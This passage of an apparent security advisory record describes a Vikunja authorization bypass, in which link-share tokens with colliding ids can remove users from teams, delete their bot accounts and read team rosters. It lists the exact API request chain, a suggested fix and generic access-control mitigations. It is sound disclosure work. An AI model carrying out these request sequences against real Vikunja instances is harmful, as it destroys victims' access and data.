(`pkg/models/teams_permissions.go:68-78`): matches membership on `And(\"user_id = ?\", a.GetID())` (:76) with no link-share guard, unlike sibling `IsAdmin` (:45-49, guard at :47).\n\nLink-share JWTs reach these routes: `SetupTokenMiddleware` validates the signature only, `GetAuthFromClaims` returns `*models.LinkSharing`, and the `/user`/`/teams` route groups add no link-share rejection. Link sharing is enabled by default (`config.go` `ServiceEnableLinkSharing.setDefault(true)`).\n\n## Impact\nA link-share principal (obtainable from any public share link, or self-registered via a share on the attacker\u0027s own project) whose id `N` collides with a victim\u0027s `users.id == N` can, without being that user or any user:\n- **Integrity (I:H):** remove the victim from any team they belong to (`DELETE /api/v1/teams/{T}/members/{username}`) \u2192 revokes all project permissions the victim inherited through that team.\n- **Availability/Integrity (A:H, I:H):** enumerate the victim\u0027s bot users (`GET /api/v1/user/bots` \u2192 `bot_owner_id = a.GetID()`), then disable/rename or **permanently delete** them (`DELETE /api/v1/user/bots/{id}` \u2192 `DeleteUser`), destroying data owned solely by those bots.\n- **Confidentiality (C:H):** read the roster + metadata (name, description, full member list) of any team the colliding user belongs to (`GET /api/v1/teams/{T}`), plus read bot-user records via `isOwner`-gated reads.\n\n## Attack Chain\n\n### Sink 1 \u2014 TeamMember.CanDelete (integrity)\n1. **Entry:** `POST /api/v1/shares/{hash}/auth` \u2192 link-share JWT with `id = N`. **Guard:** JWT middleware \u2014 signature only. **Bypass proof:** `GetAuthFromClaims` returns `*models.LinkSharing`; no route-group link-share rejection on the `/teams` group.\n2. **Action:** `DELETE /api/v1/teams/{T}/members/{usernameOfUserN}` with the link-share bearer, targeting a team `T` (\u22652 members) that user `N` belongs to. **Guard:** `CanDelete` \u2192 `GetUserByUsername(tm.Username)` returns user N, then `u.ID == a.GetID()` (`team_members_permissions.go:36`). **Bypass proof:** `a.GetID()` returns `N` (raw positive `share.ID`, `link_sharing.go:84`) == user N\u0027s id \u2192 `true`. No `a.(*LinkSharing)` check on this branch (only `IsAdmin` at :50 has it, never reached).\n3. **Sink:** `Delete` (`team_members.go`) removes user N from team T (last-member check passes when team has \u22652 members). **Impact:** victim loses all project access inherited through team T.\n\n### Sink 2 \u2014 BotUser.isOwner (bot takeover / destruction)\n1. **Entry:** link-share JWT id N (as above). **Guard:** signature-only; `/user` group adds no link-share reject.\n2. **Enumerate:** `GET /api/v1/user/bots` \u2192 `ReadAll` runs `Where(\"bot_owner_id = ?\", a.GetID())` = bots owned by user N. **Bypass proof:** `a.GetID()` = N; returns victim\u0027s bot ids self-contained (removes the id-guessing barrier).\n3. **Sink:** `DELETE /api/v1/user/bots/{botId}` \u2192 `CanDelete` \u2192 `isOwner` \u2192 `u.BotOwnerID == a.GetID()` (`bot_users_permissions.go:55`) \u2192 true; `Delete` calls `DeleteUser`. **Bypass proof:** no `a.(*LinkSharing)` guard here (Create-only, :28). **Impact:** disable/rename/permanently delete victim\u0027s bot automation identities.\n\n### Sink 3 \u2014 Team.CanRead (info disclosure)\n1. **Entry:** link-share JWT id N. **Guard:** signature-only; no reject on `GET /teams/:team`.\n2. **Sink:** `GET /api/v1/teams/{T}` \u2192 `CanRead` runs `Where(\"team_id=?\", t.ID).And(\"user_id=?\", a.GetID()).Get(tm)` (`teams_permissions.go:74-77`). **Bypass proof:** `a.GetID()` = N matches user N\u0027s `team_members` row \u2192 `can = true`; no `a.(*LinkSharing)` check (contrast `IsAdmin` at :47). **Impact:** read roster + metadata of a team the link share is not part of.\n\n## Bypass Evidence\n- `link_sharing.go:83-85` `GetID()` returns raw positive `share.ID` (NOT the negated `getUserID()` at :126-128).\n- `team_members_permissions.go:36` raw `u.ID == a.GetID()` before `IsAdmin`; the LinkSharing guard sits at :50 on a branch never reached when the fast path returns true.\n- `bot_users_permissions.go:55` raw `u.BotOwnerID == a.GetID()`; the `a.(*user.User)` guard at :28 is Create-only and NOT replicated on `isOwner`.\n- `teams_permissions.go:76` raw `a.GetID()` in `CanRead`; sibling `IsAdmin` has the guard at :47, `CanRead` omits it.\n- All three sinks verified present on latest release tag `v2.4.0` (`git show v2.4.0:\u003cfile\u003e`). No fix commits touch these files between v2.4.0 and HEAD (the only post-tag commit to link_sharing.go, `c580d51`, merely shadows an embedded Update method).\n\n## Affected Versions\n`\u003c= 2.4.0` (latest release; also present on HEAD of `main`). Requires default-enabled link sharing.\n\n## Exploitability Constraint (reflected in AC:H)\nThe attacker cannot freely choose the colliding id \u2014 `link_shares.id` is autoincrement. Exploitation is (a) *opportunistic* (a guest holding a share with id N attacks the user whose `users.id == N`) or (b) *targeted* (self-register and walk the autoincrement toward a chosen id; low-numbered shares collide with low-numbered/early/admin accounts). This is the identical constraint the accepted CVE-2026-68581 had; it affects target selection (AC), not reachability of the boundary crossing.\n\n## Suggested Fix\nAdd the link-share principal guard (`if _, is := a.(*LinkSharing); is { return false }`) \u2014 which `IsAdmin`/`CanCreate` already use \u2014 to all three sinks: the `TeamMember.CanDelete` self-removal fast path (before the `u.ID == a.GetID()` check), `BotUser.isOwner`, and `Team.CanRead`. Alternatively, resolve principals through `getUserID()` (negated id space) at every permission check so link-share ids can never collide with user ids.\n\n---\nReported by **zx (Jace)** \u2014 GitHub: @manus-use",
"id": "GHSA-32r8-5843-4qw2",
"modified": "2026-10-09T20:43:40Z",
"published": "2026-10-09T20:43:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-32r8-5843-4qw2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-76216"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-vikunja/vikunja"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/vikunja-through-principal-type-confusion-via-linksharing"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Vikunja: Link-share principal-type confusion enables cross-account team removal, bot takeover, and roster disclosure"
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
No CAPEC attack patterns related to this CWE.